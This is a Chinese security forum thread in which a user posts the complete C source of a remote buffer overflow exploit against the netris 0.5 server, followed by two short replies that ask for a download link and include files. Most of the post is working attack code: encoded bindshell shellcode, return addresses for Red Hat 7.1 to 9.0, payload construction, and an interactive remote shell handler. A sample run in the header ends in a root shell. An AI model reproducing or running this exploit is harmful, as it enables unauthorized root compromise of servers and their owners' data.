20CN网络安全小组论坛 - 病毒专区 - 一个用C语言写的小攻击程序的代码！

论坛: 病毒专区标题: 一个用C语言写的小攻击程序的代码！

作者: syse [syse]

论坛用户

/*********************************************************************************\
* [ netris[v0.5]:server remote buffer overflow exploit(new: all redhat os).
* by jsk from Ph4nt0m Security Team
* jsk@ph4nt0m.net  chat with us ( irc.0x557.org  #ph4nt0m)
* Greets vade79 and all #ph4nt0m members
* [root@localhost tmp]# ./pst-netex -h 127.0.0.1 -p 9284 -t 2
*
* netris[v0.5]:server remote buffer overflow exploit(new)
* by jsk.
* Greets vade79 and all #ph4nt0m .
* [+] Hostname: 127.0.0.1
* [+] Port num: 9284
* [+] Retaddr address: 0x8051444
* [1] #1 Set  codes.
* [1] #1 Set socket.
*[*] attempting to connect: 127.0.0.1:9284.
*[*] successfully connected: 127.0.0.1:9284.
* [1] #1 Send codes.
* [1] #3 Get shell.
*[*] checking to see if the exploit was successful.
*[*] attempting to connect: 127.0.0.1:45295.
*[*] successfully connected: 127.0.0.1:45295.
*
*Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 *i686 i386 GNU/Linux
*uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6 (di
\*********************************************************************************/

#include <stdio.h>
#include <signal.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#define BUFSIZE 12800
#define D_PORT 9284
#define D_HOST "www.ph4nt0m.net"
#define TIMEOUT 10

static char shell[]=  /* bindshell(45295)&, netric/S-poly. */
"\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49\x41\x49\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0\x06\x9e\x26\x86\xdb\x26"
"\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95"
"\x06\xb0\x25\x25\x25\x3b\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28"
"\x88\xd7\x27\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
"\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b\xa2\x55\x5e"
"\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85\x05\xa2\x55\x06\x95\x06"
"\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0"
"\x85\xd7\xa2\x55\x0e\x98\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95"
"\x06\x9e\x5e\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
"\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37\x3e\x43\x5e"
"\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2\x55\x06\x95\x15\xa2\x55"
"\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0\x6e";

struct op_plat_st
{
int op_plat_num;
char *op_plat_sys;
u_long retaddr;
int off_st;
};
struct op_plat_st __pl_form[]=
{

{0,"red 7.1",0x08051e20+2116,0},
{1,"red 7.2(cmp)",0x08051d60+2116,0},

{2,"red 8.0 (Compile)",0x08050c00+2116,0},
{3,"red 9.0 (Compile)",0x08058d8c+2116,0},

};
void banrl();
void x_fp_rm_usage(char *x_fp_rm);
unsigned short sock_connect(char *,unsigned short);
void getshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}
void banrl()
{
fprintf(stdout,"\n netris[v0.5]:server remote buffer overflow exploit(new)\n");
fprintf(stdout," by jsk.\n");
fprintf(stdout," Greets vade79 and all #ph4nt0m .\n");
}

void x_fp_rm_usage(char *x_fp_rm)
{
int __t_xmp=0;
fprintf(stdout,"\n Usage: %s -[option] [arguments]\n\n",x_fp_rm);
fprintf(stdout,"\t -h [hostname] - target host.\n");
fprintf(stdout,"\t -p [port] - port number.\n");
fprintf(stdout,"\t -s [addr] - &shellcode address.\n\n");
fprintf(stdout," Example> %s -h target_hostname -p 8000 -t num\n",x_fp_rm);
fprintf(stdout," Select target number>\n\n");
for(;;)
{
if(__pl_form[__t_xmp].op_plat_num==(0x82))
break;
else
{
fprintf(stdout,"\t {%d} %s\n",__pl_form[__t_xmp].op_plat_num,__pl_form[__t_xmp].op_plat_sys);
}
__t_xmp++;
}
fprintf(stdout,"\n");
exit(0);
}

int main(int argc,char *argv[])
{
int port=D_PORT;
char hostname[0x333]=D_HOST;
int whlp,type=0;
unsigned int i=0;
char *buf;
int sd;
u_long retaddr=__pl_form[type].retaddr;

(void)banrl();
while((whlp=getopt(argc,argv,"T:t:H:h:P:p:IiXx"))!=EOF)
{
extern char *optarg;
switch(whlp)
{
case 'T':
case 't':
if((type=atoi(optarg))<6)
{
retaddr=__pl_form[type].retaddr;
}
else (void)x_fp_rm_usage(argv[0]);
break;

case 'H':
case 'h':
memset((char *)hostname,0,sizeof(hostname));
strncpy(hostname,optarg,sizeof(hostname)-1);
break;

case 'P':
case 'p':
port=atoi(optarg);
break;

case 'I':
case 'i':
fprintf(stderr," Try `%s -?' for more information.\n\n",argv[0]);
exit(-1);

case '?':
(void)x_fp_rm_usage(argv[0]);
break;
}
}

if(!strcmp(hostname,D_HOST))
{
(void)x_fp_rm_usage(argv[0]);
}
{
fprintf(stdout," [+] Hostname: %s\n",hostname);
fprintf(stdout," [+] Port num: %d\n",port);
fprintf(stdout," [+] Retaddr address: %p\n",retaddr);
}

fprintf(stdout," [1] #1 Set  codes.\n");

if(!(buf=(char *)malloc(BUFSIZE+1)))
  printe("getcode(): allocating memory failed.",1);
for(i=0;i<BUFSIZE;i+=4){*(long *)&buf[i]=retaddr;}
memset(buf,0x78,68);
memset(buf+68,0x90,4096);
memcpy(buf+68+4096,shell,strlen(shell));
fprintf(stdout," [1] #1 Set socket.\n");
sd=sock_connect(hostname,port);
fprintf(stdout," [1] #1 Send codes.\n");
write(sd,buf,BUFSIZE);
close(sd);
sleep(1);
fprintf(stdout," [1] #3 Get shell.\n");
getshell(hostname,5074);
exit(0);
}
unsigned short sock_connect(char *hostname,
unsigned short port){
int sock;
struct hostent *t;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if((s.sin_addr.s_addr=inet_addr(hostname))){
  if(!(t=gethostbyname(hostname)))
   printe("couldn't resolve hostname.",1);
  memcpy((char*)&s.sin_addr,(char*)t->h_addr,
  sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  printe("netris connection failed.",1);
alarm(0);
printf("[*] successfully connected: %s:%d.\n",hostname,port);
return(sock);
}
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
printf("[*] checking to see if the exploit was successful.\n");
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  printe("getshell(): socket() failed.",1);
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
  if(!(he=gethostbyname(hostname)))
   printe("getshell(): couldn't resolve.",1);
  memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  printf("[!] connection failed: %s:%d.\n",hostname,port);
  return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
  FD_ZERO(&fds);
  FD_SET(0,&fds);
  FD_SET(sock,&fds);
  if(select(sock+1,&fds,0,0,0)<1)
   printe("getshell(): select() failed.",1);
  if(FD_ISSET(0,&fds)){
   if((r=read(0,buf,4096))<1)
    printe("getshell(): read() failed.",1);
   if(write(sock,buf,r)!=r)
    printe("getshell(): write() failed.",1);
  }
  if(FD_ISSET(sock,&fds)){
   if((r=read(sock,buf,4096))<1)
    exit(0);
   write(1,buf,r);
  }
}
close(sock);
return;
}
void printe(char *err,short e){
fprintf(stdout," [-] Failed.\n\n");
fprintf(stdout," Happy Exploit ! :-)\n\n");

if(e)
  exit(1);
return;
}

地主发表时间: 08/26 11:42

回复: acheron [acheron]

论坛用户

给出相关地址：
http://www.xfocus.net/tools/200308/pst-netirsex.c.c

请流云给出注释啊，浪费我时间

[此贴被黄泉(acheron) 在 08月27日10时25分编辑过]

B1层发表时间: 08/27 10:07

回复: lovexp [lovexp]

论坛用户

我想最好把上面的包含文件的地址最好也放出来吧！

要不全是白搭！

B2层发表时间: 08/27 16:43

论坛: 病毒专区